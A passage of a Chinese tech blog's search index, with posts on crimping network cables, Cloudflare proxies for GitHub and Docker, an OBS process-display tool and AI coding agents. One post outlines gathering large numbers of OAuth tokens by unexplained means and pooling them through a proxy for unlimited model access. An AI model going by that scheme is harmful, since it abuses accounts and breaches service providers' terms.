块\u003c/p\u003e","title":"你在做全栈吗？你想要前后端统一的热重载吗？"},{"content":"为什么要这么做？ 有人说，我要接网线的话，为什么不去买成品网线？\n当然可以，但是成品网线的长度是固定的，在实际环境下，我们有时候很难买到一根 长度刚刚好 的网线，这时，如果我们会自己打水晶头，那么问题就迎刃而解了，同时，裸线 + 水晶头相比与成品网线也相对便宜\n准备 网线钳 x1 超五类网线裸线 x1 水晶头 x2 测线仪（自信者可忽略） 网线钳 裁剪线缆 剥线缆外皮，使其露出双绞线 裁剪过长的双绞线 压实水晶头两段的扣具（一段压实网线外皮，一段将金属舌刺入双绞线 超五类网线裸线 作为网线使用 水晶头 接入裁剪后网线的两端，最后插入网络设备的网口 实操 将线缆卡入网线钳的第一个线缆刀口：剪线刀口（通常较浅），裁切线缆（实际需要的长度+5CM，增加一点容错） 将线缆卡入网线钳的第二个线缆刀口：剥线刀口（通常较深），距离大约2~4CM（初学者可以剥长一些，方便后续解双绞线，当然，剥得越长浪费的越多），将网线钳压实，并且来回旋转线缆和网线钳，最终向外剥除 此时，4对双绞线会暴露出来，分别为 橙、绿、蓝、棕，每对双绞线为 一根相间线和一根纯色线，比如 橙线，白橙线\n我们将其全部解开，并重新排序为（T-568B线序）：白橙，橙色，白绿，蓝色，白蓝，绿色，白棕，棕色 。口诀为： 橙绿蓝棕 理好线后一般会过长，我们需要将裸露在外的双绞线裁剪到 10~12MM 左右。将理好的线塞入网线钳的剪线刀口，将其裁断。若过长，最终会导致 水晶头三角卡扣无法固定线缆外皮 ，导致日后脱线的隐患；若过短，则会 无法将双绞线完全塞入水晶头内部线槽 ，最终金属舌将无法精准刺入8根线芯，导致断芯 将水晶头拿起，塑料舌对外，金属舌对内，将网线塞入水晶头 接着在 确保线序正确 的情况下将8根线芯塞入水晶头内的线槽， 并塞紧 。从侧面、上面观察，保证8根线芯全部怼紧，确保水晶头上金属舌的三个针刺都能刺入线芯，并且塑料舌侧的三角卡扣可以压到线缆外皮 不要松手 ，将还没固定的水晶头卡入剪线钳的RJ45卡口，并保证网线钳的金属舌对准水晶头上的金属舌（避免装反） 此步操作后不可回滚 。用力压实 网线钳，保证 金属舌刺入8根线芯，塑料三角扣具压住网线外皮。至此，一端的水晶头便已打好，另一端如法炮制即可 将打好水晶头的网线接入测线仪测试，设置为T568B线序，保证1-8灯按顺序亮起，并且稍微拉扯水晶头与线缆不脱落，网线质量则过关，可以投入使用。若出现异常请回到第一步将废弃水晶头裁断重新开始流程 ","permalink":"https://blog.2x.nz/posts/rj45/","summary":"\u003ch1 id=\"为什么要这么做\"\u003e为什么要这么做？\u003c/h1\u003e\n\u003cp\u003e有人说，我要接网线的话，为什么不去买成品网线？\u003c/p\u003e\n\u003cp\u003e当然可以，但是成品网线的长度是固定的，在实际环境下，我们有时候很难买到一根 \u003cstrong\u003e长度刚刚好\u003c/strong\u003e 的网线，这时，如果我们会自己打水晶头，那么问题就迎刃而解了，同时，裸线 + 水晶头相比与成品网线也相对便宜\u003c/p\u003e\n\u003ch1 id=\"准备\"\u003e准备\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e网线钳 x1\u003c/li\u003e\n\u003cli\u003e超五类网线裸线 x1\u003c/li\u003e\n\u003cli\u003e水晶头 x2\u003c/li\u003e\n\u003cli\u003e测线仪（自信者可忽略）\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"网线钳\"\u003e网线钳\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e裁剪线缆\u003c/li\u003e\n\u003cli\u003e剥线缆外皮，使其露出双绞线\u003c/li\u003e\n\u003cli\u003e裁剪过长的双绞线\u003c/li\u003e\n\u003cli\u003e压实水晶头两段的扣具（一段压实网线外皮，一段将金属舌刺入双绞线\n\u003cimg loading=\"lazy\" src=\"/posts/rj45/img/rj45-2.png\"\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"超五类网线裸线\"\u003e超五类网线裸线\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e作为网线使用\n\u003cimg loading=\"lazy\" src=\"/posts/rj45/img/rj45-3.png\"\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"水晶头\"\u003e水晶头\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e接入裁剪后网线的两端，最后插入网络设备的网口\n\u003cimg loading=\"lazy\" src=\"/posts/rj45/img/rj45-4.png\"\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1 id=\"实操\"\u003e实操\u003c/h1\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e将线缆卡入网线钳的第一个线缆刀口：剪线刀口（通常较浅），裁切线缆（\u003cstrong\u003e实际需要的长度+5CM\u003c/strong\u003e，增加一点容错）\n\u003cimg loading=\"lazy\" src=\"/posts/rj45/img/rj45-13.png\"\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e将线缆卡入网线钳的第二个线缆刀口：剥线刀口（通常较深），距离大约2~4CM（初学者可以剥长一些，方便后续解双绞线，当然，剥得越长浪费的越多），将网线钳压实，并且来回旋转线缆和网线钳，最终向外剥除\n\u003cimg loading=\"lazy\" src=\"/posts/rj45/img/rj45-14.png\"\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e此时，4对双绞线会暴露出来，分别为 \u003cstrong\u003e橙、绿、蓝、棕\u003c/strong\u003e，每对双绞线为 \u003cstrong\u003e一根相间线和一根纯色线\u003c/strong\u003e，比如 \u003cstrong\u003e橙线，白橙线\u003c/strong\u003e\u003cbr\u003e\n\u003cimg loading=\"lazy\" src=\"/posts/rj45/img/rj45-5.png\"\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e我们将其全部解开，并重新排序为（T-568B线序）：\u003cstrong\u003e白橙，橙色，白绿，蓝色，白蓝，绿色，白棕，棕色\u003c/strong\u003e 。口诀为： \u003cstrong\u003e橙绿蓝棕\u003c/strong\u003e\n\u003cimg loading=\"lazy\" src=\"/posts/rj45/img/rj45-1.png\"\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e理好线后一般会过长，我们需要将裸露在外的双绞线裁剪到 10~12MM 左右。将理好的线塞入网线钳的剪线刀口，将其裁断。若过长，最终会导致 \u003cstrong\u003e水晶头三角卡扣无法固定线缆外皮\u003c/strong\u003e ，导致日后脱线的隐患；若过短，则会 \u003cstrong\u003e无法将双绞线完全塞入水晶头内部线槽\u003c/strong\u003e ，最终金属舌将无法精准刺入8根线芯，导致断芯\n\u003cimg loading=\"lazy\" src=\"/posts/rj45/img/rj45-6.png\"\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e将水晶头拿起，\u003cstrong\u003e塑料舌对外，金属舌对内\u003c/strong\u003e，将网线塞入水晶头\n\u003cimg loading=\"lazy\" src=\"/posts/rj45/img/rj45-8.png\"\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e接着在 \u003cstrong\u003e确保线序正确\u003c/strong\u003e 的情况下将8根线芯塞入水晶头内的线槽， \u003cstrong\u003e并塞紧\u003c/strong\u003e 。从侧面、上面观察，保证8根线芯全部怼紧，\u003cstrong\u003e确保水晶头上金属舌的三个针刺都能刺入线芯\u003c/strong\u003e，并且\u003cstrong\u003e塑料舌侧的三角卡扣可以压到线缆外皮\u003c/strong\u003e\n\u003cimg loading=\"lazy\" src=\"/posts/rj45/img/rj45-7.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/rj45/img/rj45-11.png\"\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003e不要松手\u003c/strong\u003e ，将还没固定的水晶头卡入剪线钳的RJ45卡口，并\u003cstrong\u003e保证网线钳的金属舌对准水晶头上的金属舌\u003c/strong\u003e（避免装反）\n\u003cimg loading=\"lazy\" src=\"/posts/rj45/img/rj45-9.png\"\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003e此步操作后不可回滚\u003c/strong\u003e 。\u003cstrong\u003e用力压实\u003c/strong\u003e 网线钳，保证 \u003cstrong\u003e金属舌刺入8根线芯\u003c/strong\u003e，\u003cstrong\u003e塑料三角扣具压住网线外皮\u003c/strong\u003e。至此，一端的水晶头便已打好，另一端如法炮制即可\n\u003cimg loading=\"lazy\" src=\"/posts/rj45/img/rj45-12.png\"\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e将打好水晶头的网线接入测线仪测试，设置为T568B线序，\u003cstrong\u003e保证1-8灯按顺序亮起\u003c/strong\u003e，并且\u003cstrong\u003e稍微拉扯水晶头与线缆不脱落\u003c/strong\u003e，网线质量则过关，可以投入使用。若出现异常请回到第一步将废弃水晶头裁断重新开始流程\n\u003cimg loading=\"lazy\" src=\"/posts/rj45/img/rj45-15.png\"\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e","title":"教你手搓网线！打好人生第一个水晶头！"},{"content":"你\u0026hellip;买Cloudflare Pro了吗？ 虽然Snippets是一个Pro才能使用的功能\n但其实也不一定要买，在一月份的Bug时期，部分免费域名可以免费得到5条Snippets，不过现在已经木大了\n另一方面，如果你是一个开源开发者，并且你的开源项目关于或依托于 Cloudflare 运行，可以尝试申请Cloudflare的开源项目赞助计划：Alexandria 项目 - 生日周 | Cloudflare\n最后呢，如果你凑巧财力雄厚，可以直接花 25 刀买一个月的 Pro，Pro有25条Snippets规则，并且在到期后只是不能更改，但仍然可用。可以看作是1刀买一条规则吧，这样想想是不是还挺值的？\nPro 还可以自定义WAF，几乎所有的功能相比 Free 都会多不少的份额，并且还会开放类似 Snippets 这种独占功能\nHmm\u0026hellip;我拿到Snippets了，她能帮我做什么？ 哦！那可以干很多事了！\n首先我们先不谈能做什么，先谈谈这是什么吧！\nSnippets \u0026hellip; 你可以把她看成 Worker 的妹妹，Snippets 只能在边缘运行JS代码，但无法原生与R2，D1，KV集成，或托管任何静态文件\n但也只是无法用官方API调用这些东西，我们仍然可以想办法用S3 API，RESTFul API，Graph QL API来从公网调用你想用的东西\n你可能感觉一般般？花钱买了阉割版？\n不！Snippets 最牛逼的地方绝对不是她能做什么大展宏图的功能\n而是 不限量！不计费！\n没错，只要你让一个Snippets跑起来了！她将在互联网上 永生 除了 Cloudflare 宕机 在这期间无论是被打了亦或是被刷了都完全无法使她宕机\n那么我们就能干很多事情了\n什么 Github 代理啊\u0026hellip; GithubSiteProxyForCloudflareWorker/src/snippet.js at main · afoim/GithubSiteProxyForCloudflareWorker\n什么 Docker 代理啊\u0026hellip; CF-Workers-docker.io/snippet.js at main · afoim/CF-Workers-docker.io\n什么 Telegram API代理啊\u0026hellip; 自己找GPT写一个吧，很简单：帮我编写一个适用于 Cloudflare Snippets 的反向代理脚本，目标为 api.telegram.org\n又或是和你的静态随机图打打配合啊\u0026hellip; afoim/choice_randompic: 和 https://github.com/afoim/Static_RandomPicAPI 搭配使用，通过Snippet使得服务端返回302的随机图\n甚至还可以连上一些免费的数据库帮你做点全栈应用？ 太懒了，我还没写qwq\n成果展示 Github全站反代： https://gh.2x.nz Docker镜像源： https://docker.2x.nz Telegram API反代： https://tgapi.2x.nz 随机图： https://c-p.2x.nz/h ","permalink":"https://blog.2x.nz/posts/snippets/","summary":"\u003ch1 id=\"你买cloudflare-pro了吗\"\u003e你\u0026hellip;买Cloudflare Pro了吗？\u003c/h1\u003e\n\u003cp\u003e虽然Snippets是一个Pro才能使用的功能\u003c/p\u003e\n\u003cp\u003e但其实也不一定要买，在一月份的Bug时期，部分免费域名可以免费得到5条Snippets，不过现在已经木大了\u003c/p\u003e\n\u003cp\u003e另一方面，如果你是一个开源开发者，并且你的开源项目关于或依托于 Cloudflare 运行，可以尝试申请Cloudflare的开源项目赞助计划：\u003ca href=\"https://www.cloudflare.com/zh-cn/lp/project-alexandria/\"\u003eAlexandria 项目 - 生日周 | Cloudflare\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e最后呢，如果你凑巧财力雄厚，可以直接花 25 刀买一个月的 Pro，Pro有25条Snippets规则，并且在到期后只是不能更改，但仍然可用。可以看作是1刀买一条规则吧，这样想想是不是还挺值的？\u003c/p\u003e\n\u003cp\u003e\u003cem\u003ePro 还可以自定义WAF，几乎所有的功能相比 Free 都会多不少的份额，并且还会开放类似 Snippets 这种独占功能\u003c/em\u003e\u003c/p\u003e\n\u003ch1 id=\"hmm我拿到snippets了她能帮我做什么\"\u003eHmm\u0026hellip;我拿到Snippets了，她能帮我做什么？\u003c/h1\u003e\n\u003cp\u003e哦！那可以干很多事了！\u003c/p\u003e\n\u003cp\u003e首先我们先不谈能做什么，先谈谈这是什么吧！\u003c/p\u003e\n\u003cp\u003eSnippets \u0026hellip; 你可以把她看成 Worker 的妹妹，Snippets 只能在边缘运行JS代码，但无法原生与R2，D1，KV集成，或托管任何静态文件\u003c/p\u003e\n\u003cp\u003e\u003cem\u003e但也只是无法用官方API调用这些东西，我们仍然可以想办法用S3 API，RESTFul API，Graph QL API来从公网调用你想用的东西\u003c/em\u003e\u003c/p\u003e\n\u003cp\u003e你可能感觉一般般？花钱买了阉割版？\u003c/p\u003e\n\u003cp\u003e不！Snippets 最牛逼的地方绝对不是她能做什么大展宏图的功能\u003c/p\u003e\n\u003cp\u003e而是 \u003cstrong\u003e不限量！不计费！\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e没错，只要你让一个Snippets跑起来了！她将在互联网上 \u003cstrong\u003e永生\u003c/strong\u003e \u003cem\u003e除了 Cloudflare 宕机\u003c/em\u003e 在这期间无论是被打了亦或是被刷了都完全无法使她宕机\u003c/p\u003e\n\u003cp\u003e那么我们就能干很多事情了\u003c/p\u003e\n\u003cp\u003e什么 Github 代理啊\u0026hellip; \u003ca href=\"https://github.com/afoim/GithubSiteProxyForCloudflareWorker/blob/main/src/snippet.js\"\u003eGithubSiteProxyForCloudflareWorker/src/snippet.js at main · afoim/GithubSiteProxyForCloudflareWorker\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e什么 Docker 代理啊\u0026hellip; \u003ca href=\"https://github.com/afoim/CF-Workers-docker.io/blob/main/snippet.js\"\u003eCF-Workers-docker.io/snippet.js at main · afoim/CF-Workers-docker.io\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e什么 Telegram API代理啊\u0026hellip; \u003cem\u003e自己找GPT写一个吧，很简单：\u003ccode\u003e帮我编写一个适用于 Cloudflare Snippets 的反向代理脚本，目标为 api.telegram.org\u003c/code\u003e\u003c/em\u003e\u003c/p\u003e","title":"你...买 Cloudflare Pro 了吗？来玩超级牛逼的 Snippets ！"},{"content":"视频 https://bilibili.com/video/BV16YcXzeEGJ\n前言 原理这里不说，好奇的可以自行站内搜索\n正式开始 复制该代码\nGithubSiteProxyForCloudflareWorker/worker.js at main · afoim/GithubSiteProxyForCloudflareWorker\n部署到 Cloudflare Worker\n创建DNS解析：\n*.yourdomain.com CNAME CloudflareCDN 创建Worker路由：\n*-gh.yourdomain.com 创建重定向：\ngh.yourdomain.com 302 github-com-gh.yourdomain.com 屏蔽海外（海外你连不上Github？）\n享受它！访问：\ngh.yourdomain.com/yourname ","permalink":"https://blog.2x.nz/posts/gh-cf/","summary":"\u003ch1 id=\"视频\"\u003e视频\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://bilibili.com/video/BV16YcXzeEGJ\"\u003ehttps://bilibili.com/video/BV16YcXzeEGJ\u003c/a\u003e\u003c/p\u003e\n\u003ch1 id=\"前言\"\u003e前言\u003c/h1\u003e\n\u003cp\u003e原理这里不说，好奇的可以自行站内搜索\u003c/p\u003e\n\u003ch1 id=\"正式开始\"\u003e正式开始\u003c/h1\u003e\n\u003cp\u003e复制该代码\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/afoim/GithubSiteProxyForCloudflareWorker/blob/main/worker.js\"\u003eGithubSiteProxyForCloudflareWorker/worker.js at main · afoim/GithubSiteProxyForCloudflareWorker\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e部署到 Cloudflare Worker\u003c/p\u003e\n\u003cp\u003e创建DNS解析：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-sql\" data-lang=\"sql\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e.yourdomain.com CNAME CloudflareCDN\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/gh-cf/img/gh-cf.png\"\u003e\u003c/p\u003e\n\u003cp\u003e创建Worker路由：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-sql\" data-lang=\"sql\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e*-\u003c/span\u003egh.yourdomain.com\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/gh-cf/img/gh-cf-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e创建重定向：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-sql\" data-lang=\"sql\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003egh.yourdomain.com \u003cspan style=\"color:#ae81ff\"\u003e302\u003c/span\u003e github\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003ecom\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003egh.yourdomain.com \n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/gh-cf/img/gh-cf-2.png\"\u003e\u003c/p\u003e\n\u003cp\u003e屏蔽海外（海外你连不上Github？）\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/gh-cf/img/gh-cf-3.png\"\u003e\u003c/p\u003e\n\u003cp\u003e享受它！访问：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-sql\" data-lang=\"sql\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003egh.yourdomain.com\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eyourname\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/gh-cf/img/gh-cf-4.png\"\u003e\u003c/p\u003e","title":"终极版！国内免梯上Github！"},{"content":"引言 我在直播时，经常会被观众问到这些问题：\n主播主播，你现在用的是什么软件？\n主播主播，这是什么游戏？\n主播主播，这首歌叫什么？\n这些问题当然可以直接口头回答，但总觉得不够优雅。毕竟这类信息通常也不涉及隐私，完全可以交给程序自动展示。\n于是我就开始琢磨：能不能做一个小工具，把 当前正在使用的软件、正在播放的歌曲 之类的信息，自动同步给 OBS，再展示给直播间观众？\n那么，具体该怎么实现呢？\n一开始我想到的是 OBS 的 游戏源。因为我平时在用 VTube Studio，它支持通过 OBS 的 游戏源 捕获 Live2D 形象，并开启 允许透明，效果很干净。\n不过 OBS 的游戏源本质上捕获的是渲染管线，而不是普通桌面窗口。换句话说，如果只是为了显示一行实时文字，还专门去写一个基于 DX、OpenGL 或 Vulkan 的渲染程序，明显有点杀鸡用牛刀。\n后来我发现，OBS 其实自带一个更轻量的方案：文字源。\n我们真正需要的，归根结底也只是把几行文本显示到直播画面里，而且这些文本还得能实时更新。\n而 OBS 的文字源恰好支持 从文件读取。既然如此，思路就一下子清晰了：\n只要让 OBS 持续读取一个 TXT 文件，再写一个小程序不断更新这个 TXT，不就可以了吗？\n这个思路完全可行。实测下来，OBS 会每隔几秒重新读取一次 TXT 内容。虽然它不是即时 Hook，而是简单轮询，但对于“当前正在使用什么软件”这类信息来说，已经完全够用了。\n不过，只做实时进程显示，其实只解决了 “我当前正在用什么软件” 这个问题。\n如果我还想进一步告诉观众：“我现在正在放什么歌” 呢？\n所以我又补了一个功能：支持监测指定的 EXE，并实时读取这个进程的窗口标题变化。一般来说，不少音乐播放器都会把当前播放曲目写进窗口标题里。\n那如果中途我把音乐软件关掉了怎么办？\n也很简单：在检测不到目标进程时，程序就向 TXT 写入一个零宽空格。这样 OBS 端看起来就像“空白”，不会残留上一次的歌曲名；等软件重新启动后，显示内容又会自动恢复。\n整个方案落地下来，其实只需要在 OBS 里额外添加两个文字源即可。\n于是，这个小项目就这样诞生了：\nafoim/process_watch2txt\n","permalink":"https://blog.2x.nz/posts/obs-realtime-process-name/","summary":"\u003ch1 id=\"引言\"\u003e引言\u003c/h1\u003e\n\u003cp\u003e我在直播时，经常会被观众问到这些问题：\u003c/p\u003e\n\u003cp\u003e\u003cem\u003e主播主播，你现在用的是什么软件？\u003c/em\u003e\u003c/p\u003e\n\u003cp\u003e\u003cem\u003e主播主播，这是什么游戏？\u003c/em\u003e\u003c/p\u003e\n\u003cp\u003e\u003cem\u003e主播主播，这首歌叫什么？\u003c/em\u003e\u003c/p\u003e\n\u003cp\u003e这些问题当然可以直接口头回答，但总觉得不够优雅。毕竟这类信息通常也不涉及隐私，完全可以交给程序自动展示。\u003c/p\u003e\n\u003cp\u003e于是我就开始琢磨：能不能做一个小工具，把 \u003cstrong\u003e当前正在使用的软件\u003c/strong\u003e、\u003cstrong\u003e正在播放的歌曲\u003c/strong\u003e 之类的信息，自动同步给 OBS，再展示给直播间观众？\u003c/p\u003e\n\u003cp\u003e那么，具体该怎么实现呢？\u003c/p\u003e\n\u003cp\u003e一开始我想到的是 OBS 的 \u003cstrong\u003e游戏源\u003c/strong\u003e。因为我平时在用 \u003cstrong\u003eVTube Studio\u003c/strong\u003e，它支持通过 OBS 的 \u003cstrong\u003e游戏源\u003c/strong\u003e 捕获 Live2D 形象，并开启 \u003cstrong\u003e允许透明\u003c/strong\u003e，效果很干净。\u003c/p\u003e\n\u003cp\u003e不过 OBS 的游戏源本质上捕获的是渲染管线，而不是普通桌面窗口。换句话说，如果只是为了显示一行实时文字，还专门去写一个基于 DX、OpenGL 或 Vulkan 的渲染程序，明显有点杀鸡用牛刀。\u003c/p\u003e\n\u003cp\u003e后来我发现，OBS 其实自带一个更轻量的方案：\u003cstrong\u003e文字源\u003c/strong\u003e。\u003c/p\u003e\n\u003cp\u003e我们真正需要的，归根结底也只是把几行文本显示到直播画面里，而且这些文本还得能实时更新。\u003c/p\u003e\n\u003cp\u003e而 OBS 的文字源恰好支持 \u003cstrong\u003e从文件读取\u003c/strong\u003e。既然如此，思路就一下子清晰了：\u003c/p\u003e\n\u003cp\u003e只要让 OBS 持续读取一个 TXT 文件，再写一个小程序不断更新这个 TXT，不就可以了吗？\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/obs-realtime-process-name/img/obs-realtime-process-name.png\"\u003e\u003c/p\u003e\n\u003cp\u003e这个思路完全可行。实测下来，OBS 会每隔几秒重新读取一次 TXT 内容。虽然它不是即时 Hook，而是简单轮询，但对于“当前正在使用什么软件”这类信息来说，已经完全够用了。\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/obs-realtime-process-name/img/obs64_ZV5MPVYEXj.gif\"\u003e\u003c/p\u003e\n\u003cp\u003e不过，只做实时进程显示，其实只解决了 \u003cstrong\u003e“我当前正在用什么软件”\u003c/strong\u003e 这个问题。\u003c/p\u003e\n\u003cp\u003e如果我还想进一步告诉观众：\u003cstrong\u003e“我现在正在放什么歌”\u003c/strong\u003e 呢？\u003c/p\u003e\n\u003cp\u003e所以我又补了一个功能：支持监测指定的 \u003cstrong\u003eEXE\u003c/strong\u003e，并实时读取这个进程的窗口标题变化。一般来说，不少音乐播放器都会把当前播放曲目写进窗口标题里。\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/obs-realtime-process-name/img/obs-realtime-process-name-2.png\"\u003e\u003c/p\u003e\n\u003cp\u003e那如果中途我把音乐软件关掉了怎么办？\u003c/p\u003e\n\u003cp\u003e也很简单：在检测不到目标进程时，程序就向 TXT 写入一个零宽空格。这样 OBS 端看起来就像“空白”，不会残留上一次的歌曲名；等软件重新启动后，显示内容又会自动恢复。\u003c/p\u003e\n\u003cp\u003e整个方案落地下来，其实只需要在 OBS 里额外添加两个文字源即可。\u003c/p\u003e\n\u003cp\u003e于是，这个小项目就这样诞生了：\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/afoim/process_watch2txt\"\u003eafoim/process_watch2txt\u003c/a\u003e\u003c/p\u003e","title":"如何在直播中让你的观众实时了解你在用什么软件？"},{"content":"原理 flowchart TD A[\"通过“魔法”获得大量 OAuth Token\"] subgraph CPA B[\"批量导入 OAuth Token 到 CPA\"] C[\"CPA 创建虚拟 API 端点\"] D[\"生成 API Key\"] E[\"获得 OpenAI 兼容 API\"] B --\u003e C --\u003e D --\u003e E end F[\"接入 Claude Code / Codex\"] A --\u003e B E --\u003e F 实操 首先，获得“魔法”，获得大量 OAuth Token\n安装 router-for-me/CLIProxyAPI: Wrap Gemini CLI, Antigravity, ChatGPT Codex, Claude Code, Qwen Code, iFlow as an OpenAI/Gemini/Claude/Codex compatible API service, allowing you to enjoy the free Gemini 2.5 Pro, GPT 5, Claude, Qwen model through API。前往 /management.html\n上传认证文件\n添加 API Key\n查看可用模型\n导入 Claude Code\n用\n","permalink":"https://blog.2x.nz/posts/codex-unlimited-blade-works/","summary":"\u003ch1 id=\"原理\"\u003e原理\u003c/h1\u003e\n\u003cpre class=\"mermaid\"\u003eflowchart TD\n    A[\"通过“魔法”获得大量 OAuth Token\"]\n\n    subgraph CPA\n        B[\"批量导入 OAuth Token 到 CPA\"]\n        C[\"CPA 创建虚拟 API 端点\"]\n        D[\"生成 API Key\"]\n        E[\"获得 OpenAI 兼容 API\"]\n\n        B --\u003e C --\u003e D --\u003e E\n    end\n\n    F[\"接入 Claude Code / Codex\"]\n\n    A --\u003e B\n    E --\u003e F\n\u003c/pre\u003e\n\n\u003ch1 id=\"实操\"\u003e实操\u003c/h1\u003e\n\u003cp\u003e首先，获得“魔法”，获得大量 OAuth Token\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/codex-unlimited-blade-works/img/codex-unlimited-blade-works.png\"\u003e\u003c/p\u003e\n\u003cp\u003e安装 \u003ca href=\"https://github.com/router-for-me/CLIProxyAPI\"\u003erouter-for-me/CLIProxyAPI: Wrap Gemini CLI, Antigravity, ChatGPT Codex, Claude Code, Qwen Code, iFlow as an OpenAI/Gemini/Claude/Codex compatible API service, allowing you to enjoy the free Gemini 2.5 Pro, GPT 5, Claude, Qwen model through API\u003c/a\u003e。前往 \u003ccode\u003e/management.html\u003c/code\u003e\u003c/p\u003e","title":"Codex！无限剑制！"},{"content":"引言 了解我的人通常都知道，我平时写代码主要用 AI IDE，比如 Trae、Cursor 等。\nAI IDE 的优势很明显：在保留 Git、代码高亮等高效手动工具的同时，把最耗时的代码编写交给 AI，我们只需要用自然语言描述目标即可。图为 Trae\nAI Agent 是什么？ 简单来说，AI Agent 一般提供的是一个“偏终端化”的工作环境。和 AI IDE 一样，它也能通过自然语言完成开发任务。\n看起来好像和 AI IDE 没区别？其实差别很大。\n如果你是先用 AI IDE，再切到 AI Agent，通常会感受到明显落差：界面更朴素，交互更直接。\nAI Agent 往往只给你一个输入框。你描述目标后，它不仅能写代码，还能借助外部能力给自己“加特技”。\n比如接入 Playwright MCP，它就可以自动改前端代码并执行自动化调试。\n换句话说，AI Agent 的上手门槛看起来更低：你不一定要先理解完整代码结构，也不需要手动管理每一步流程。当然，对熟手来说，这种模式有时会降低精细控制的效率，但确实能省下不少精力。\n例如，我们可以把 Git 推送远程仓库这类流程交给 AI：自动生成 commit、自动配置代理、自动 push，并把本次规则和约束持久化，下次就不用重复说明。图为 Codex\n各 AI Agent 的区别 OpenCode | 开源 AI 编程代理 游客可以直接使用免费的公益模型，不需要付费。\nClaude Code by Anthropic | AI Coding Agent, Terminal, IDE 它需要一个 POSIX Terminal（比如 Git Bash）。否则很多终端命令无法正常执行，因为它的工作流高度依赖 Bash 命令（如 cat、ls）。\n想要完整发挥体验，通常需要使用 Claude 系列模型。在一次会话中，它可能会让不同模型分工处理理解、规划、执行、测试等环节。\nCodex 目前我本人在用\n限制相对少，在 Windows Terminal（PowerShell）里也能跑得很好。\n只需要提供可用的模型 API 即可。\n如何优雅地使用 AI Agent 当然，你也可以手动配置各种 Agent，其实并不难。\n通常只要看文档、找到配置文件（一般是 .json），然后手写一份配置，或者让 AI 帮你生成一份。\n但目前已经有不少图形化、一键化工具，我更推荐先用这些工具快速上手。\nCC-Switch 它可以用图形界面为不同 Agent 配置模型。你只需要像填表一样填入 API 